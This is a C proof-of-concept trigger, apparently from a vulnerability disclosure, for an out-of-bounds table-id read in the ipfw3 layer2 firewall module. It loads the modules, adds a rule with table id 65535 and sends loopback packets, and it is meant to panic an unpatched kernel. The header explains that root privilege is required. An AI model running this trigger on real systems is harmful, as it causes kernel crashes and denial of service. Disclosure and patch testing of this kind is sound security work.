/*
 * DF-0749 — trigger / demonstrator
 * ------------------------------------------------------------------
 * Unbounded table-id index in MAC-table lookup matchers
 *   sys/net/ipfw3_layer2/ip_fw3_layer2.c:118-120 (check_mac_from_lookup)
 *   sys/net/ipfw3_layer2/ip_fw3_layer2.c:161-163 (check_mac_to_lookup)
 *
 * `cmd->arg1` (uint16_t, user-controlled via "mac-from table N" /
 * "mac-to table N" parser, lib/libipfw3/layer2/ipfw3_layer2.c:153,177)
 * is added to ctx->table_ctx (a 32-entry array, IPFW_TABLES_MAX,
 * sys/net/ipfw3_basic/ip_fw3_table.h:39, allocated at
 * sys/net/ipfw3_basic/ip_fw3_table.c:570) with NO bounds check.
 *
 * The OOB load `rnh = table_ctx->node;` happens UNCONDITIONALLY,
 * BEFORE the `args->eh != NULL` gate at line 124/167.  So any packet
 * matching a rule that uses an out-of-range table-id drives a kernel
 * load from far past the array — a supervisor-read page fault when the
 * OOB offset (arg1 * 56 bytes) lands past mapped memory.
 *
 * This trigger is a thin C wrapper around the setup shell commands; the
 * real proof is the kernel panic signature captured in panic.txt
 * (Fatal trap 12 ... Stopped at check_mac_from_lookup+0x37: movq (%rax),%rbx).
 *
 * Reachability / impact: ipfw3 module load + rule add both require
 * PRIV_ROOT (kldload + IP_FW_X setsockopt), so this is a root->kernel
 * DoS / latent OOB read.  No unprivileged escalation path exists;
 * see VERDICT.md for the bright-line analysis.
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger          (will panic an unpatched kernel)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* arg1 value to plant in the rule.  uint16_t max = 65535.
 * table_ctx is 56-byte struct; offset = 65535*56 = 3,669,960 bytes ≈ 3.5MB
 * past the array allocation — guaranteed past any slab. */
#define OOB_TABLE_ID 65535

static void run(const char *cmd) {
    int rc = system(cmd);
    fprintf(stderr, "  $ %s\n    rc=%d\n", cmd, rc);
}

int main(int argc, char **argv) {
    unsigned long id = OOB_TABLE_ID;
    char cmd[512];

    if (argc > 1) id = strtoul(argv[1], NULL, 0);
    fprintf(stderr, "DF-0749 trigger: planting ipfw3 rule with "
                    "mac-from table %lu (IPFW_TABLES_MAX=32)\n", id);

    /* Bring ipfw3 up safely: default-accept so the box stays reachable
     * long enough for the rule add to round-trip. */
    run("sysctl net.filters_default_to_accept=1");
    run("kldload ipfw3");
    run("kldload ipfw3_basic");
    run("kldload ipfw3_layer2");
    run("ipfw3 flush");

    /* The bad rule.  As soon as ANY packet traverses it, the kernel
     * page-faults inside check_mac_from_lookup at the OOB load. */
    snprintf(cmd, sizeof(cmd),
             "ipfw3 add 1000 allow ip from any to any "
             "mac-from table %lu", id);
    run(cmd);

    /* Provoke a packet through the rule (loopback is enough; the OOB
     * load fires before the eh==NULL gate, so even lo0 triggers it). */
    fprintf(stderr, "\n[+] sending trigger packet (loopback)...\n");
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s >= 0) {
        struct sockaddr_in dst;
        memset(&dst, 0, sizeof(dst));
        dst.sin_family = AF_INET;
        dst.sin_port = htons(9);
        dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        sendto(s, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
        close(s);
    }
    /* If we get here at all on an unpatched kernel, the rule didn't
     * catch the packet yet — keep poking until it does. */
    for (int i = 0; i < 20; i++) {
        s = socket(AF_INET, SOCK_DGRAM, 0);
        if (s >= 0) {
            struct sockaddr_in dst;
            memset(&dst, 0, sizeof(dst));
            dst.sin_family = AF_INET;
            dst.sin_port = htons(9);
            dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
            sendto(s, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
            close(s);
        }
        usleep(100000);
    }
    fprintf(stderr, "[!] still alive — bug may not have triggered; "
                    "check boot.log for panic signature\n");
    return 1;
}
